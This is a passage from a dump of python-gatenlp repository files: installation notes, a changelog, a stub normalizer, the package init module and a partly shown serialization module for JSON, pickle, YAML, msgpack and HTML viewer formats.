gatenlp installation again. \n\nThe following specific dependencies included in 'all' can be chosen separately:\n* `formats`: to support the various serialization formats\n* `java`: to support the Gate slave \n* `stanza`: to support the Stanza bridge\n* `spacy`: to support the Spacy bridge\n* `nltk`: to support the nltk tokenizer and nltk bridge\n* `gazetteers`: to support gazetteers\n\nThe following dependencies are not included in 'all' but in 'alldev' or can be chosen separately:\n* `notebook`: needed to use `gatenlp` with notebooks, convert notebooks, show notebooks as slides \n* `dev`: dependencies needed for developing gatenlp, testing, linting etc. \n\nExample: to install gatenlp with support for stanza and spacy and serialization:\n\n```\npython -m pip install gatenlp[stanza,spacy,formats]\n```\n\n\nTo install the latest `gatenlp` code from GitHub with all dependencies:\n* Clone the repository and change into it\n* Run `python -m pip install -e .[all]`\n\nTo also install everything needed for development use \"alldev\":\n\n```\npython -m pip install -e .[alldev]\n```\n\n#### Creating a jupyter notebook/lab kernel:\n\nTo use the conda environment with jupyter notebook/lab create kernel:\n\n* activate the environment\n* run `python -m ipykernel install --user --name=gatenlp` \n (or choose a different name in place of \"gatenlp\" for the kernel)\n* this kernel should then show up in the list of kernels within jupyter notebook or lab\n\n\n\n\n#### Requirements for using the GATE slave:\n\n* Java 8\n* py4j\n* GATE 8.6.1 or later\n\n#### Requirements for running `gatenlp` in a Jupyter notebook:\n\n* `ipython`\n* `jupyter`\n* `ipykernel`\n\nTo create a kernel for your conda environment run:\n\n```\npython -m ipykernel install --user --name gatenlp --display-name \"Python gatenlp\"\n```\n\nThe available kernels can be listed with `jupyter kernelspec list`\n\nTo run and show a notebook run the following and use \"Kernel - Change Kernel\" in the notebook to choose the gatenlp environment speicific kernel:\n\n```\njupyter notebook notebookname.ipynb\n```\n\nIf you prefer Jupyter lab:\n\n```\npython -m pip install jupyterlab\n```\n\nand then start Jupyter lab with:\n\n```\njupyter lab\n```\n\nIn Jupyter lab, you can work on Jupyter notebooks but also use an interactive console which is also able to visualize\ndocuments interactively. \n \n#### Requirements for development:\n\n* Java SDK version 8\n* Maven version 3.6\n" }, { "alpha_fraction": 0.7284234762191772, "alphanum_fraction": 0.7478218078613281, "avg_line_length": 55.5047607421875, "blob_id": "1e393647da6d244b0165179c9ec8242a1f8417d7", "content_id": "53b61d0381eeea087875b2145c7de8d0376e6ba4", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6083, "license_type": "permissive", "max_line_length": 139, "num_lines": 105, "path": "/docs/changes.md", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "# Versions and changes\n\n## 1.0.5.1 (2021-10-09)\n\n* Bug fix: make `lib_spacy` support both versions 2.x and 3.x (1.0.5 used a method which is only available in 3.x)\n\n## 1.0.5 (2021-10-08)\n\nChanges that break backwards compatibility:\n\n* `AnnotationSet.with_type()` previously returned a detached set with all annotations if no types were specified,\n this now returns a detached set with no annotations which is more logical. \n* API changes:\n * `pam.pampac.actions.AddAnn`: parameter `anntype` has been changed to `type`\n * The Feature() constructor kw arg `logger` has been changed to `_change_logger` and `deepcopy` has been changed to \n `_deepcopy`\n* Pampac: use the term \"matches\" instead of \"data\" for the named information stored for each named pattern that\n fits the document. A single one of these is often called \"match info\" and the index for a specific info is now called\n \"matchidx\" instead of \"dataidx\". See issue #89\n* Parameter `spacetoken_type` for `AnnSpacy` and `spacy2gatenlp` has been changed to `space_token_type` to conform to \n the parameter name used for `AnnStanza` and `stanza2gatenlp`.\n* Stanford Stanza support now requires Stanza version 1.3.0 or higher\n* Changes to `lib_spacy`: new parameter `containing_anns` to apply the spacy pipeline only to the part of the document covered\n by each of the annotations in the annotation set or iterator. New parameters `component_cfg` to specify a component config\n for Spacy and `retrieve_spans` to retrieve additional span types to retrieve.\n* Several bugfixes in Pampac.\n\nOther changes and improvements:\n\n* New method `AnnotationSet.create_from(anniterable)` to create a detached, immutable annotation set from an iterable of annotations\n* New method `Document.anns(annspec)` creates a detached set of all annotations that match the specification\n* New method `Document.yield_anns(annspec)` yields all annotations which match the specification\n* Fixed bug in Token Gazetteer: issue #93\n* Pampac: there is now a PampacAnnotator class to simplify using Pampac in a pipeline.\n* Pampac: New parameter `containing_anns` for `Pampac.run`: if specified, runs the rules on each span of each of the containing annotations\n* Pampac: a Result is now an Iterable of match infos.\n* Pampac: the `.within(..)` `.contains(..)` etc. constraints now allow to use a separate annotation set, e.g.\n `.within(\"Person\", annset=doc.annset(\"Other\"))`. See issue #57\n* Pampac: `RemoveAnn` action has been added\n* Pampac: `UpdateAnnFeatures` has been improved\n* Pampac: `AddAnn` action supports getter helpers in feature values\n* `Span` objects are now immutable. Equality and hashing of `Span` objects are based on their start and end offsets.\n* `Annotation` equality and hashing has been changed back to the Python default: variables compare only equal if they\n reference the same object and hashing is based on object identity. \n For comparing annotations by content, the methods `ann.equal(other)` (compare content without annotation id) \n and `ann.same(other)` (compare content including annotation id) have been implemented.\n* Documents can be saved in \"tweet-v1\" format\n* Fixed a problem with the HTML viewer: leading and multiple whitespace annotations now show correctly.\n\n\n\n## 1.0.4 (2021-04-10)\n\n* The GateWorkerAnnotator parameters have been changed: instead of parameters gatehom and port,\n the parameter gateworker now needs to receive a GateWorker instance. \n Also the `update_document` parameter has been added and now allows both updating and replacing\n the Python document from the Java GATE document\n* Issue #66: make it possible to show annotations over new-lines in the html ann viewer\n* Issue #65: provide ParagraphTokenizer and SplitPatternTokenizer to easily annotate paragraphs\n and other spans separated by some split pattern\n* Issue #73: pickle document with offset index created\n* Issue #68: rename the main development branch from \"master\" to \"main\"\n* Issue #74: fix a bug in PAMPAC related to matching an annotation after some text\n* Various improvements, additions and bug fixes in Pampac\n* Issue #75: GateWorker now shows any Java exception when starting the Java process fails\n* Issue #76: GateWorker has a new method `loadPipelineFromUri(uri)`\n* Issue #77: GateWorkerAnnotator now automatically loads a pipeline from a URL if the string\n passed to the `pipeline` parameter looks like a URL or if it is the result of urllib.parse.urlparse.\n It is always treated like a file if it is a pathlib.Path\n* added the `Actions` action for Pampac to recursively wrap several actions into one\n* allow each Rule to have any number of actions, change signature to `Rule(patter, *actions, priority=0)`\n* The Pampac AddAnn action does not require a value for the name parameter any more, if not specified, the \n full span of the match is used.\n* New method `add_anns(anniterable)` to add an iterable of annotations to a set\n* The document viewer now also works in Google Colab\n* The GateWorker can now be used as context manager: `with GateWorker() as gw:`\n\n\n## 1.0.3.1 (2021-03-01)\n\n* add training course slides\n* fix issue #63: could not import html document from a local file\n \n## 1.0.3 (2021-02-22) \n\n* Fix issues with logging and error handling in executor module\n* Improve/add/change document sources/destination JsonLinesFile\n* add `Span.embed` method\n* Implement multi-word tokens (MWTs) for the Stanza annotator\n* Add support for space tokens for the Stanza annotator\n* Support showing annotations over trailing spaces in the html ann viewer\n* Add the `Document.attach(annset)` method (mostly for internal use only!)\n* Add the ConllUFileSource to import CoNLL-U corpora\n* Fix a problem in the html ann viewer where unnecessary spans were created\n* Add option to the `Document.show()` method to style the document text div\n\n\n## 1.0.2 (2021-02-09)\n\n* Fix issue #56: Rename GateSlave to GateWorker\n\n## 1.0.1 (2021-02-07)\n\n* Initial release\n~ \n\n" }, { "alpha_fraction": 0.7622842192649841, "alphanum_fraction": 0.7622842192649841, "avg_line_length": 27.961538314819336, "blob_id": "ec86279764b00b8f5a5546c688c3467556ca97ca", "content_id": "3885b064aa7ec4bd7bbbefa5209d775d8e94d299", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 753, "license_type": "permissive", "max_line_length": 110, "num_lines": 26, "path": "/gatenlp/processing/normalizer.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule that provides classes for normalizers. Normalizers are annotators which change the text of selected\n annotations or the entire text of the document.\nSince the text of a document is immutable, such Normalizers return a new document with the modified text.\nSince the text is modified any annotations present in the document may be invalid, therefore all annotations\nare removed when the new document is returned. Document features are preserved. Any changelog is preserved but\nthe normalization is not logged.\n\"\"\"\n\nfrom gatenlp.processing.annotator import Annotator\n\n\nclass Normalizer(Annotator):\n \"\"\"\n Base class of all normalizers.\n \"\"\"\n\n pass\n\n\nclass TextNormalizer(Normalizer):\n \"\"\"\n NOT YET IMPLEMENTED\n \"\"\"\n\n pass\n" }, { "alpha_fraction": 0.7592458128929138, "alphanum_fraction": 0.7643219828605652, "avg_line_length": 33.474998474121094, "blob_id": "0f6f71d1f949cf81e4613cac1a64b7a2272a479f", "content_id": "1f8e132f963dc068b4c279fb3894f94a01d59276", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1379, "license_type": "permissive", "max_line_length": 98, "num_lines": 40, "path": "/gatenlp/__init__.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "# NOTE: do not place a comment at the end of the version assignment\n# line since we parse that line in a shell script!\n# __version__ = \"0.9.9\"\nfrom gatenlp.version import __version__\n\ntry:\n import sortedcontainers\nexcept Exception:\n import sys\n print(\n \"ERROR: required package sortedcontainers cannot be imported!\", file=sys.stderr\n )\n print(\n \"Please install it, using e.g. 'pip install -U sortedcontainers'\",\n file=sys.stderr,\n )\n sys.exit(1)\n# TODO: check version of sortedcontainers (we have 2.1.0)\n\nfrom gatenlp.utils import init_logger\n\nlogger = init_logger(\"gatenlp\")\nfrom gatenlp.span import Span\nfrom gatenlp.annotation import Annotation\nfrom gatenlp.annotation_set import AnnotationSet\nfrom gatenlp.changelog import ChangeLog\nfrom gatenlp.document import Document\nfrom gatenlp.gate_interaction import _pr_decorator as GateNlpPr\nfrom gatenlp.gate_interaction import interact\n\n# Importing GateWorker or other classes which depend on any package other than sortedcontains will\n# break the Python plugin!\n# from gatenlp.gateworker import GateWorker, GateWorkerAnnotator\n\ndef init_notebook(): # pragma: no cover\n from gatenlp.serialization.default import HtmlAnnViewerSerializer\n from gatenlp.gatenlpconfig import gatenlpconfig\n\n HtmlAnnViewerSerializer.init_javscript()\n gatenlpconfig.notebook_js_initialized = True\n" }, { "alpha_fraction": 0.5275444984436035, "alphanum_fraction": 0.530219316482544, "avg_line_length": 31.07886505126953, "blob_id": "c49c8f9b6608f498cd3d1e3daf337d0abac0492a", "content_id": "48033d25eef591dedf6b8073954f413150b0a0bd", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 50845, "license_type": "permissive", "max_line_length": 117, "num_lines": 1585, "path": "/gatenlp/serialization/default.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule that implements the various ways of how to save and load documents and change logs.\n\"\"\"\nimport io\nimport os\nimport sys\nimport yaml\nfrom collections import defaultdict\n# import ruyaml as yaml\ntry:\n from yaml import CFullLoader as Loader, CDumper as Dumper\nexcept ImportError:\n from yaml import FullLoader as Loader, Dumper\nyaml_loader = yaml.Loader\nyaml_dumper = yaml.Dumper\nfrom random import choice\nfrom string import ascii_uppercase\nfrom msgpack import pack, Unpacker\nfrom gatenlp.document import Document\nfrom gatenlp.annotation_set import AnnotationSet\nfrom gatenlp.annotation import Annotation\nfrom gatenlp.changelog import ChangeLog\nfrom gatenlp.features import Features\nfrom gatenlp.utils import get_nested\nfrom gatenlp.urlfileutils import is_url, get_str_from_url, get_bytes_from_url\nfrom gzip import open as gopen, compress, decompress\nfrom bs4 import BeautifulSoup\nfrom gatenlp.gatenlpconfig import gatenlpconfig\nimport bs4\nimport warnings\nimport pickle\n\ntry:\n from bs4 import GuessedAtParserWarning\n warnings.filterwarnings(\"ignore\", category=GuessedAtParserWarning)\nexcept ImportError as ex:\n pass\n\n\n# import orjson as usejson\n# import json as usejson\n# import rapidjson as usejson\n# import ujson as usejson\n# import hyperjson as usejson\nimport json\n\nJSON_WRITE = \"wt\"\nJSON_READ = \"rt\"\n\n# # for replacing json by orjson\n# class json:\n# @staticmethod\n# def load(fp):\n# data = fp.read()\n# return usejson.loads(data)\n# @staticmethod\n# def loads(data):\n# return usejson.loads(data)\n# @staticmethod\n# def dump(obj, fp):\n# buf = usejson.dumps(obj)\n# fp.write(buf)\n# @staticmethod\n# def dumps(obj):\n# return usejson.dumps(obj)\n\n# # for replacing json with one of the other implementations\n# class json:\n# @staticmethod\n# def load(fp):\n# return usejson.load(fp)\n# @staticmethod\n# def loads(data):\n# return usejson.loads(data)\n# @staticmethod\n# def dump(obj, fp):\n# buf = usejson.dump(obj, fp)\n# @staticmethod\n# def dumps(obj):\n# return usejson.dumps(obj)\n\n\n# TODO: for ALL save options, allow to filter the annotations that get saved!\n# TODO: then use this show only limited set of annotations in the viewer\n# TODO: create Document.display(....) to show document in various ways in the current\n# environment, e.g. Jupyter notebook, select anns, configure colour palette, size etc.\n\n\n# TODO: when loading from a URL, allow for deciding on the format based on the mime type!\n# So if we do not have the format, we should get the header for the file, check the mime type and see\n# if we have a loder registered for that and then let the loader do the rest of the work. This may\n# need loaders to be able to use an already open stream.\n\nTWITTER_DEFAULT_INCLUDE_FIELDS = [\n \"id_str\",\n \"user.id_str\",\n \"user.screen_name\",\n \"user.name\" \"created_at\",\n \"is_quote_status\",\n \"quote_count\",\n \"retweet_count\",\n \"favourite_count\",\n \"favourited\",\n \"retweeted\",\n \"lang\",\n \"$is_retweet_status\",\n \"retweeted_status.user.screen_name\",\n]\n\n\nclass JsonSerializer:\n \"\"\"\n This class performs the saving and load of Documents and ChangeLog instances to and from the\n BDOC JSON format files, optionally with gzip compression.\n \"\"\"\n\n @staticmethod\n def save(\n clazz,\n inst,\n to_ext=None,\n to_mem=None,\n offset_type=None,\n offset_mapper=None,\n gzip=False,\n annsets=None,\n **kwargs,\n ):\n \"\"\"\n\n Args:\n clazz: the class of the object that gets saved\n inst: the object to get saved\n to_ext: where to save to, this should be a file path, only one of to_ext and to_mem should be specified\n to_mem: if True, return a String serialization\n offset_type: the offset type to use for saving, if None (default) use \"p\" (Python)\n offset_mapper: the offset mapper to use, only needed if the type needs to get converted\n gzip: if True, the JSON gets gzip compressed\n annsets: which annotation sets and types to include, list of set names or (setanmes, types) tuples\n **kwargs:\n \"\"\"\n d = inst.to_dict(offset_type=offset_type, offset_mapper=offset_mapper, annsets=annsets, **kwargs)\n if to_mem:\n if gzip:\n compress(json.dumps(d).encode(\"UTF-8\"))\n else:\n return json.dumps(d)\n else:\n if gzip:\n with gopen(to_ext, JSON_WRITE) as outfp:\n json.dump(d, outfp)\n else:\n with open(to_ext, JSON_WRITE) as outfp:\n json.dump(d, outfp)\n\n @staticmethod\n def save_gzip(clazz, inst, **kwargs):\n \"\"\"\n Invokes the save method with gzip=True\n \"\"\"\n JsonSerializer.save(clazz, inst, gzip=True, **kwargs)\n\n @staticmethod\n def load(\n clazz, from_ext=None, from_mem=None, offset_mapper=None, gzip=False, **kwargs\n ):\n \"\"\"\n\n Args:\n clazz:\n from_ext: (Default value = None)\n from_mem: (Default value = None)\n offset_mapper: (Default value = None)\n gzip: (Default value = False)\n **kwargs:\n\n Returns:\n\n \"\"\"\n # print(\"RUNNING load with from_ext=\", from_ext, \" from_mem=\", from_mem)\n\n if from_ext is not None and from_mem is not None:\n raise Exception(\"Exactly one of from_ext and from_mem must be specified \")\n if from_ext is None and from_mem is None:\n raise Exception(\"Exactly one of from_ext and from_mem must be specified \")\n\n isurl, extstr = is_url(from_ext)\n if from_ext is not None:\n if isurl:\n # print(\"DEBUG: we got a URL\")\n if gzip:\n from_mem = get_bytes_from_url(extstr)\n else:\n from_mem = get_str_from_url(extstr, encoding=\"utf-8\")\n else:\n # print(\"DEBUG: not a URL !!!\")\n pass\n if from_mem is not None:\n if gzip:\n d = json.loads(decompress(from_mem).decode(\"UTF-8\"))\n else:\n d = json.loads(from_mem)\n doc = clazz.from_dict(d, offset_mapper=offset_mapper, **kwargs)\n else: # from_ext must have been not None and a path\n if gzip:\n with gopen(extstr, JSON_READ) as infp:\n d = json.load(infp)\n else:\n with open(extstr, JSON_READ) as infp:\n d = json.load(infp)\n doc = clazz.from_dict(d, offset_mapper=offset_mapper, **kwargs)\n return doc\n\n @staticmethod\n def load_gzip(clazz, **kwargs):\n \"\"\"\n\n Args:\n clazz:\n **kwargs:\n\n Returns:\n\n \"\"\"\n return JsonSerializer.load(clazz, gzip=True, **kwargs)\n\n\nclass PickleSerializer:\n \"\"\"\n This class performs the saving and load of Documents and ChangeLog instances to and from pickle format.\n \"\"\"\n\n @staticmethod\n def save(\n clazz,\n inst,\n to_ext=None,\n to_mem=None,\n offset_type=None,\n offset_mapper=None,\n gzip=False,\n **kwargs,\n ):\n \"\"\"\n\n Args:\n clazz: the class of the object that gets saved\n inst: the object to get saved\n to_ext: where to save to, this should be a file path, only one of to_ext and to_mem should be specified\n to_mem: if True, return a String serialization\n offset_type: the offset type to use for saving, if None (default) use \"p\" (Python)\n offset_mapper: the offset mapper to use, only needed if the type needs to get converted\n gzip: must be False, gzip is not supported\n **kwargs:\n \"\"\"\n if gzip:\n raise Exception(\"Gzip not supported for pickle\")\n if to_mem:\n return pickle.dumps(inst, protocol=-1)\n else:\n with open(to_ext, \"wb\") as outfp:\n pickle.dump(inst, outfp, protocol=-1)\n\n @staticmethod\n def load(\n clazz, from_ext=None, from_mem=None, offset_mapper=None, gzip=False, **kwargs\n ):\n \"\"\"\n\n Args:\n clazz:\n from_ext: (Default value = None)\n from_mem: (Default value = None)\n offset_mapper: (Default value = None)\n gzip: (Default value = False) must be False, True not supported\n **kwargs:\n\n Returns:\n\n \"\"\"\n # print(\"RUNNING load with from_ext=\", from_ext, \" from_mem=\", from_mem)\n\n if from_ext is not None and from_mem is not None:\n raise Exception(\"Exactly one of from_ext and from_mem must be specified \")\n if from_ext is None and from_mem is None:\n raise Exception(\"Exactly one of from_ext and from_mem must be specified \")\n\n isurl, extstr = is_url(from_ext)\n if from_ext is not None:\n if isurl:\n from_mem = get_bytes_from_url(extstr)\n else:\n # print(\"DEBUG: not a URL !!!\")\n pass\n if from_mem is not None:\n doc = pickle.loads(from_mem)\n else: # from_ext must have been not None and a path\n with open(extstr, \"rb\") as infp:\n doc = pickle.load(infp)\n return doc\n\n\nclass PlainTextSerializer:\n \"\"\" \"\"\"\n\n @staticmethod\n def save(\n clazz,\n inst,\n to_ext=None,\n to_mem=None,\n offset_type=None,\n offset_mapper=None,\n encoding=\"UTF-8\",\n gzip=False,\n **kwargs,\n ):\n \"\"\"\n\n Args:\n clazz:\n inst:\n to_ext: (Default value = None)\n to_mem: (Default value = None)\n offset_type: (Default value = None)\n offset_mapper: (Default value = None)\n encoding: (Default value = \"UTF-8\")\n gzip: (Default value = False)\n **kwargs:\n\n Returns:\n\n \"\"\"\n txt = inst.text\n if txt is None:\n txt = \"\"\n if to_mem:\n if gzip:\n compress(txt.encode(encoding))\n else:\n return txt\n else:\n if gzip:\n with gopen(to_ext, \"wt\", encoding=encoding) as outfp:\n outfp.write(txt)\n else:\n with open(to_ext, \"wt\", encoding=encoding) as outfp:\n outfp.write(txt)\n\n @staticmethod\n def save_gzip(clazz, inst, **kwargs):\n \"\"\"\n\n Args:\n clazz:\n inst:\n **kwargs:\n\n Returns:\n\n \"\"\"\n PlainTextSerializer.save(clazz, inst, gzip=True, **kwargs)\n\n @staticmethod\n def load(\n clazz,\n from_ext=None,\n from_mem=None,\n offset_mapper=None,\n encoding=\"UTF-8\",\n gzip=False,\n **kwargs,\n ):\n \"\"\"\n\n Args:\n clazz:\n from_ext: (Default value = None)\n from_mem: (Default value = None)\n offset_mapper: (Default value = None)\n encoding: (Default value = \"UTF-8\")\n gzip: (Default value = False)\n **kwargs:\n\n Returns:\n\n \"\"\"\n isurl, extstr = is_url(from_ext)\n if from_ext is not None:\n if isurl:\n if gzip:\n from_mem = get_bytes_from_url(extstr)\n else:\n from_mem = get_str_from_url(extstr, encoding=encoding)\n if from_mem is not None:\n if gzip:\n txt = decompress(from_mem).decode(encoding)\n else:\n txt = from_mem\n doc = Document(txt)\n else:\n if gzip:\n with gopen(extstr, \"rt\", encoding=encoding) as infp:\n txt = infp.read()\n else:\n with open(extstr, \"rt\", encoding=encoding) as infp:\n txt = infp.read()\n doc = Document(txt)\n return doc\n\n @staticmethod\n def load_gzip(clazz, **kwargs):\n \"\"\"\n\n Args:\n clazz:\n **kwargs:\n\n Returns:\n\n \"\"\"\n return PlainTextSerializer.load(clazz, gzip=True, **kwargs)\n\n\nclass YamlSerializer:\n \"\"\" \"\"\"\n\n @staticmethod\n def save(\n clazz,\n inst,\n to_ext=None,\n to_mem=None,\n offset_type=None,\n offset_mapper=None,\n gzip=False,\n annsets=None,\n **kwargs,\n ):\n \"\"\"\n\n Args:\n clazz:\n inst:\n to_ext: (Default value = None)\n to_mem: (Default value = None)\n offset_type: (Default value = None)\n offset_mapper: (Default value = None)\n gzip: (Default value = False)\n annsets: which annotation sets and types to include, list of set names or (setanmes, types) tuples\n **kwargs:\n \"\"\"\n d = inst.to_dict(offset_type=offset_type, offset_mapper=offset_mapper, annsets=annsets, **kwargs)\n if to_mem:\n if gzip:\n compress(yaml.dump(d, Dumper=yaml_dumper).encode(\"UTF-8\"))\n else:\n return yaml.dump(d, Dumper=yaml_dumper)\n else:\n if gzip:\n with gopen(to_ext, \"wt\") as outfp:\n yaml.dump(d, outfp, Dumper=yaml_dumper)\n else:\n with open(to_ext, \"wt\") as outfp:\n yaml.dump(d, outfp, Dumper=yaml_dumper)\n\n @staticmethod\n def save_gzip(clazz, inst, **kwargs):\n \"\"\"\n\n Args:\n clazz:\n inst:\n **kwargs:\n\n Returns:\n\n \"\"\"\n YamlSerializer.save(clazz, inst, gzip=True, **kwargs)\n\n @staticmethod\n def load(\n clazz, from_ext=None, from_mem=None, offset_mapper=None, gzip=False, **kwargs\n ):\n \"\"\"\n\n Args:\n clazz:\n from_ext: (Default value = None)\n from_mem: (Default value = None)\n offset_mapper: (Default value = None)\n gzip: (Default value = False)\n **kwargs:\n\n Returns:\n\n \"\"\"\n isurl, extstr = is_url(from_ext)\n if from_ext is not None:\n if isurl:\n if gzip:\n from_mem = get_bytes_from_url(extstr)\n else:\n from_mem = get_str_from_url(extstr, encoding=\"utf-8\")\n if from_mem is not None:\n if gzip:\n d = yaml.load(decompress(from_mem).decode(\"UTF-8\"), Loader=yaml_loader)\n else:\n d = yaml.load(from_mem, Loader=yaml_loader)\n doc = clazz.from_dict(d, offset_mapper=offset_mapper, **kwargs)\n else:\n if gzip:\n with gopen(extstr, \"rt\") as infp:\n d = yaml.load(infp, Loader=yaml_loader)\n else:\n with open(extstr, \"rt\") as infp:\n d = yaml.load(infp, Loader=yaml_loader)\n doc = clazz.from_dict(d, offset_mapper=offset_mapper, **kwargs)\n return doc\n\n @staticmethod\n def load_gzip(clazz, **kwargs):\n \"\"\"\n\n Args:\n clazz:\n **kwargs:\n\n Returns:\n\n \"\"\"\n return YamlSerializer.load(clazz, gzip=True, **kwargs)\n\n\nMSGPACK_VERSION_HDR = \"sm2\"\n\n\nclass MsgPackSerializer:\n \"\"\" \"\"\"\n\n @staticmethod\n def document2stream(doc: Document, stream):\n \"\"\"\n\n Args:\n doc: Document:\n stream:\n doc: Document:\n\n Returns:\n\n \"\"\"\n pack(MSGPACK_VERSION_HDR, stream)\n pack(doc.offset_type, stream)\n pack(doc.text, stream)\n pack(doc.name, stream)\n pack(doc._features.to_dict(), stream)\n pack(len(doc._annotation_sets), stream)\n for name, annset in doc._annotation_sets.items():\n pack(name, stream)\n pack(annset._next_annid, stream)\n pack(len(annset), stream)\n for ann in annset.fast_iter():\n pack(ann.type, stream)\n pack(ann.start, stream)\n pack(ann.end, stream)\n pack(ann.id, stream)\n pack(ann.features.to_dict(), stream)\n\n @staticmethod\n def stream2document(stream):\n \"\"\"\n\n Args:\n stream:\n\n Returns:\n\n \"\"\"\n u = Unpacker(stream)\n version = u.unpack()\n if version != MSGPACK_VERSION_HDR:\n raise Exception(\"MsgPack data starts with wrong version\")\n doc = Document()\n doc.offset_type = u.unpack()\n doc._text = u.unpack()\n doc.name = u.unpack()\n doc._features = Features(u.unpack())\n nsets = u.unpack()\n setsdict = dict()\n doc.annotation_sets = setsdict\n for iset in range(nsets):\n sname = u.unpack()\n if sname is None:\n sname = \"\"\n annset = AnnotationSet(name=sname, owner_doc=doc)\n annset._next_annid = u.unpack()\n nanns = u.unpack()\n for iann in range(nanns):\n atype = u.unpack()\n astart = u.unpack()\n aend = u.unpack()\n aid = u.unpack()\n afeatures = u.unpack()\n ann = Annotation(astart, aend, atype, annid=aid, features=afeatures)\n annset._annotations[aid] = ann\n setsdict[sname] = annset\n doc._annotation_sets = setsdict\n return doc\n\n @staticmethod\n def save(\n clazz,\n inst,\n to_ext=None,\n to_mem=None,\n offset_type=None,\n offset_mapper=None,\n **kwargs,\n ):\n \"\"\"\n\n Args:\n clazz:\n inst:\n to_ext: (Default value = None)\n to_mem: (Default value = None)\n offset_type: (Default value = None)\n offset_mapper: (Default value = None)\n **kwargs:\n\n Returns:\n\n \"\"\"\n if isinstance(inst, Document):\n writer = MsgPackSerializer.document2stream\n elif isinstance(inst, ChangeLog):\n raise Exception(\"Not implemented yet\")\n else:\n raise Exception(\"Object not supported\")\n if to_mem:\n f = io.BytesIO()\n else:\n f = open(to_ext, \"wb\")\n writer(inst, f)\n if to_mem:\n return f.getvalue()\n else:\n f.close()\n\n @staticmethod\n def load(clazz, from_ext=None, from_mem=None, offset_mapper=None, **kwargs):\n \"\"\"\n\n Args:\n clazz:\n from_ext: (Default value = None)\n from_mem: (Default value = None)\n offset_mapper: (Default value = None)\n **kwargs:\n\n Returns:\n\n \"\"\"\n if clazz == Document:\n reader = MsgPackSerializer.stream2document\n elif clazz == ChangeLog:\n raise Exception(\"Not implemented yet\")\n else:\n raise Exception(\"Object not supported\")\n\n isurl, extstr = is_url(from_ext)\n if from_ext is not None:\n if isurl:\n from_mem = get_bytes_from_url(extstr)\n if from_mem:\n f = io.BytesIO(from_mem)\n else:\n f = open(extstr, \"rb\")\n doc = reader(f)\n return doc\n\nJS_JQUERY_URL = \"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"\nJS_GATENLP_URL = \"https://unpkg.com/[email protected]/gatenlp-ann-viewer.js\"\nJS_JQUERY = f\"<script src=\\\"{JS_JQUERY_URL}\\\"></script>\"\nJS_GATENLP = f\"<script src=\\\"{JS_GATENLP_URL}\\\"></script>\"\nHTML_TEMPLATE_FILE_NAME = \"gatenlp-ann-viewer.html\"\nJS_GATENLP_FILE_NAME = \"gatenlp-ann-viewer-merged.js\"\n\nhtml_ann_viewer_serializer_js_loaded = False\n\n\nclass HtmlAnnViewerSerializer:\n \"\"\" \"\"\"\n\n @staticmethod\n def javascript():\n \"\"\"\n Return the Javascript needed for the HTML Annotation viewer.\n\n Returns: Javascript string.\n\n \"\"\"\n jsloc = os.path.join(\n os.path.dirname(__file__), \"_htmlviewer\", JS_GATENLP_FILE_NAME\n )\n if not os.path.exists(jsloc):\n raise Exception(\n \"Could not find JavsScript file, {} does not exist\".format(jsloc)\n )\n with open(jsloc, \"rt\", encoding=\"utf-8\") as infp:\n js = infp.read()\n js = \"\"\"<script type=\"text/javascript\">\"\"\" + js + \"</script>\"\n return js\n\n @staticmethod\n def init_javscript():\n import IPython\n\n IPython.display.display_html(HtmlAnnViewerSerializer.javascript(), raw=True)\n\n @staticmethod\n def save(\n clazz,\n inst,\n to_ext=None,\n to_mem=None,\n notebook=False,\n offline=False,\n add_js=True,\n htmlid=None,\n stretch_height=False,\n annsets=None,\n doc_style=None,\n **kwargs,\n ):\n \"\"\"Convert a document to HTML for visualizing it.\n\n Args:\n clazz: the class of the object to save\n inst: the instance/object to save\n to_ext: the destination where to save to unless to_mem is given\n to_mem: if true, ignores to_ext and returns the representation\n notebook: if True only create a div which can be injected into a notebook or other HTML, otherwise\n generate a full HTML document\n offline: if true, include all the Javascript needed in the generated HTML , otherwise load library\n from the internet.\n add_js: if true (default), add the necessary Javascript either directly or by loading a library from\n the internet. If false, assume that the Javascript is already there (only makes sense with\n notebook=True).\n htmlid: the id to use for HTML ids so it is possible to have several independent viewers in the\n same HTML page and to style the output from a separate notebook cell\n max_height1: if this is set, then the maximum height of the first row of the viewer is set to the\n given value (default: 20em). If this is None, then the height is set to\n stretch_height: if False, rows 1 and 2 of the viewer will not have the height set, but only\n min and max height (default min is 10em for row1 and 7em for row2, max is the double of those).\n If True, no max haight is set and instead the height is set to a percentage (default is\n 67vh for row 1 and 30vh for row 2). The values used can be changed via gateconfig.\n annsets: if None, include all annotation sets and types, otherwise this should be a list of either\n set names, or tuples, where the first entry is a set name and the second entry is either a type\n name or list of type names to include.\n doc_style: if not None, any additional styling for the document text box, if None, use whatever\n is defined in gatenlpconfig or do not use.\n kwargs: swallow any other kwargs.\n\n Returns: if to_mem is True, returns the representation, otherwise None.\n\n \"\"\"\n if not isinstance(inst, Document):\n raise Exception(\"Not a document!\")\n # TODO: why are we doing a deepcopy here?\n doccopy = inst.deepcopy(annsets=annsets)\n doccopy.to_offset_type(\"j\")\n json = doccopy.save_mem(fmt=\"json\", **kwargs)\n htmlloc = os.path.join(\n os.path.dirname(__file__), \"_htmlviewer\", HTML_TEMPLATE_FILE_NAME\n )\n if not os.path.exists(htmlloc):\n raise Exception(\n \"Could not find HTML template, {} does not exist\".format(htmlloc)\n )\n with open(htmlloc, \"rt\", encoding=\"utf-8\") as infp:\n html = infp.read()\n txtcolor = gatenlpconfig.doc_html_repr_txtcolor\n if notebook:\n str_start = \"<!--STARTDIV-->\"\n str_end = \"<!--ENDDIV-->\"\n idx1 = html.find(str_start) + len(str_start)\n idx2 = html.find(str_end)\n if htmlid:\n rndpref = 